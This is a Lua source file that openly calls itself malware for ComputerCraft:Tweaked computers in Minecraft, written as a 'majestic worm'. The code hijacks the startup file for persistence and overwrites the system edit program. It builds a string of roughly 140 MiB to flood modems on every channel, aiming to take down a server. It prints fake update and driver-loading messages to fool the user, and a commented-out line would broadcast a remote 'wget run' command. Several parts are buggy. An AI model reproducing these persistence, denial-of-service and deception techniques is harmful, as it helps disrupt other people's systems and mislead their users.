145 lines
4.2 KiB
Lua
145 lines
4.2 KiB
Lua
--[[
|
|
This is a "fun" piece of malware for ComputerCraft:Tweaked computers!
|
|
I made it because I have nothing better to do.
|
|
A quick rant: tf are the Lua conventions?? How should I write my code??
|
|
So for now I'm just using the Python naming conventions because I know them.
|
|
Lua conventions make this unreadable so I don't care about them.
|
|
]]
|
|
function write_startup_file(destroymode)
|
|
if not destroymode and destroymode ~= true then
|
|
print("fatal: no def")
|
|
return nil
|
|
elseif not destroymode then
|
|
local file = io.open("/startup.lua", "w")
|
|
file:write("os.run('/rw/sys/msys.lua')")
|
|
else
|
|
local file1 = io.open("/rw/sys/vfs.lua", "r")
|
|
local contents = file1:read("*all")
|
|
file1:close()
|
|
local file2 = io.open("/startup.lua", "w")
|
|
file2:write(contents)
|
|
file2:close()
|
|
end
|
|
end
|
|
function change_cmd()
|
|
local file = io.open("/rom/edit.lua")
|
|
local contents = file:read("*all")
|
|
local file2 = io.open("/rw/sys/edit.bak.lua")
|
|
local file3 = io.open("/rw/sys/vtxt.txt")
|
|
local contents2 = file3:read("*all")
|
|
file2:write(contents)
|
|
file:write(contents2)
|
|
end
|
|
function extendstring(str)
|
|
--[[
|
|
Should create a string containing 140.2 MiB of data (xdd)
|
|
Probably enough to take my server down with it until Mojang decides to
|
|
multithread Java servers, as I have enough RAM (116GB to be exact, with 32GB for the server.)
|
|
]]
|
|
for i = 0, 21 do
|
|
str = str .. str
|
|
print(i)
|
|
end
|
|
return str
|
|
end
|
|
function break_modems()
|
|
--[[
|
|
This function tries to overload modems by sending them a string. It should be more than 20MB
|
|
]]
|
|
if not peripheral.wrap("top") then
|
|
-- No modem present so we ignore
|
|
return nil
|
|
end
|
|
local modem = peripheral.wrap("top")
|
|
local s, c = pcall(modem.open(500))
|
|
if not s then
|
|
error("no modem!")
|
|
return nil
|
|
end
|
|
local smallstring = "this is a very friendly string :3 "
|
|
local esstring = extendstring(smallstring)
|
|
for i = 0, 65535 do
|
|
-- We try to buffer overflow.
|
|
modem.transmit(i, 500, esstring)
|
|
-- modem.transmit(i, 500, "wget run https://cdn.novacow.ch/uploads/cct-prgm/")
|
|
end
|
|
-- At some point I want it to be even more destructive, but for now it tries to kill the modem
|
|
healthcheck()
|
|
end
|
|
function healthcheck()
|
|
--[[
|
|
Checks the health of the program, to make sure full potency is reached.
|
|
]]
|
|
local file = io.open("/startup.lua", "r")
|
|
if not file then
|
|
write_startup_file(false)
|
|
end
|
|
local contents = file:read("*all")
|
|
if contents ~= "dofile('/rw/sys/msys.lua')" then
|
|
write_startup_file(true)
|
|
end
|
|
end
|
|
function dormancy(t)
|
|
t = tonumber(t)
|
|
sleep(t)
|
|
end
|
|
function convince(t, steps)
|
|
if steps < 1 or steps > 4 then
|
|
error("fatal: code error.")
|
|
end
|
|
t = tonumber(t)
|
|
if steps == 1 then
|
|
print("Updating cache...")
|
|
sleep(t)
|
|
print("Updating complete!")
|
|
print("Continuing...")
|
|
elseif steps == 2 then
|
|
print("Updating cache...")
|
|
print("Update complete!")
|
|
print("Loading device drivers...")
|
|
sleep(t)
|
|
print("Loading complete!")
|
|
print("Continuing...")
|
|
elseif steps == 3 then
|
|
print("Updating cache...")
|
|
print("Update complete!")
|
|
print("Loading device drivers...")
|
|
sleep(t/2)
|
|
print("Loading complete!")
|
|
print("Starting services...")
|
|
sleep(t/2)
|
|
print("Complete!")
|
|
print("Continuing...")
|
|
else
|
|
print("Updating cache...")
|
|
print("Update complete!")
|
|
print("Loading device drivers...")
|
|
sleep(t/3)
|
|
print("Loading complete!")
|
|
print("Starting services...")
|
|
sleep(t/3)
|
|
print("Complete!")
|
|
print("Reloading OS state...")
|
|
sleep(t/3)
|
|
print("Continuing...")
|
|
-- Main code here:
|
|
|
|
healthcheck()
|
|
convince(9, 4)
|
|
break_modems()
|
|
convince(3, 3)
|
|
healthcheck()
|
|
print("Reloading program...")
|
|
convince(3, 1)
|
|
change_cmd()
|
|
healthcheck()
|
|
|
|
-- From now on we stay dormant, we just don't do anything until the user tries fucking
|
|
-- our majestic worm up or just happens to execute the wrong command.
|
|
while true do
|
|
dormancy(5)
|
|
healthcheck()
|
|
dormancy(5)
|
|
convince(5, 1)
|
|
end
|